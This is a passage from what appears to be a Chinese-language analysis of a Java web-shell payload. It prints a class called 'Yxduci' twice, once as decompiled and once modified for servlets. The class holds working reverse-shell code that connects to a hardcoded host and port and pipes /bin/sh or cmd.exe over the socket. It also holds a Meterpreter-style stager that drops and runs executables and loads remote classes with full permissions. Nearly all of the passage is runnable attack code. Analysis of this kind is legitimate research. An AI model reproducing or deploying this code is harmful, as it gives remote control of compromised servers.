IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
- 新建
Yxduci
类
package com.example.antsword_analysis;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Stack;
import java.util.StringTokenizer;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Yxduci extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
private Object Request;
private Object Response;
private Object Session;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public Yxduci(InputStream dn, OutputStream rm) {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
super();
this.dn = dn;
this.rm = rm;
}
public Yxduci() {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var13 = false;
Object so;
Method write;
label91:
{
try {
var13 = true;
this.fillContext(obj);
if (type.equals("shell")) {
this.shellConnect();
} else if (type.equals("meter")) {
this.meterConnect();
}
result.put("status", "success");
var13 = false;
break label91;
} catch (Exception var17) {
result.put("status", "fail");
result.put("msg", var17.getMessage());
var13 = false;
} finally {
if (var13) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
(new Thread(new Yxduci(process.getInputStream(), socket.getOutputStream()))).start();
(new Thread(new Yxduci(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
public static void main(String[] args) {
try {
Yxduci c = new Yxduci();
ip = "192.168.50.53";
port = "4444";
c.meterConnect();
} catch (Exception var2) {
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Yxduci.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String) null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for (int i = 0; i < files.length; ++i) {
for (i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String) null);
String url = props.getProperty("URL", (String) null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object) null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String) null);
if (aesPassword != null) {
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object) null, in, out, aesPassword);
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Yxduci()).bootstrap((InputStream) in, (OutputStream) out, props.getProperty("EmbeddedStage", (String) null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String) null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for (int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while (var5.hasNext()) {
String key = (String) var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String) entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; ++i) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[]) null).invoke(var7, (Object[]) null);
var6 = (byte[]) var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String) var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
- 修改后
package com.example.antsword_analysis;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Stack;
import java.util.StringTokenizer;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class Yxduci extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
private Object Request;
private Object Response;
private Object Session;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public Yxduci(InputStream dn, OutputStream rm) {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
this.dn = dn;
this.rm = rm;
}
public Yxduci() {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
}
// public boolean equals(Object obj) {
public boolean equals(HttpServletRequest request, HttpServletResponse response, HttpSession session) {
HashMap result = new HashMap();
boolean var13 = false;
Object so;
Method write;
label91:
{
try {
var13 = true;
// this.fillContext(obj);
this.fillContext(request, response, session);
if (type.equals("shell")) {
this.shellConnect();
} else if (type.equals("meter")) {
this.meterConnect();
}
result.put("status", "success");
var13 = false;
break label91;
} catch (Exception var17) {
result.put("status", "fail");
result.put("msg", var17.getMessage());
var13 = false;
} finally {
if (var13) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
// 获得操作系统,转化成小写,判断有没有windows
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
// linux
ShellPath = new String("/bin/sh");
} else {
// windows
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
// 将从socket中读取的命令的值,传递给process执行
(new Thread(new Yxduci(process.getInputStream(), socket.getOutputStream()))).start();
// 将process执行命令之后的结果返回给socket套接字
(new Thread(new Yxduci(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
public static void main(String[] args) {
try {
Yxduci c = new Yxduci();
ip = "192.168.50.53";
port = "4444";
c.meterConnect();
} catch (Exception var2) {
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Yxduci.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String) null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for (i = 0; i < files.length; ++i) {
for (i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String) null);
String url = props.getProperty("URL", (String) null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object) null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String) null);
if (aesPassword != null) {
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object) null, in, out, aesPassword);
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Yxduci()).bootstrap((InputStream) in, (OutputStream) out, props.getProperty("EmbeddedStage", (String) null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String) null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for (int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while (var5.hasNext()) {
String key = (String) var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String) entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
// private void fillContext(Object obj) throws Exception {
private void fillContext(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
/*if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}*/
this.Request = request;
this.Response = response;
this.Session = session;
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; ++i) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
private byte[] Encrypt(byte[] var1) throws Exception {
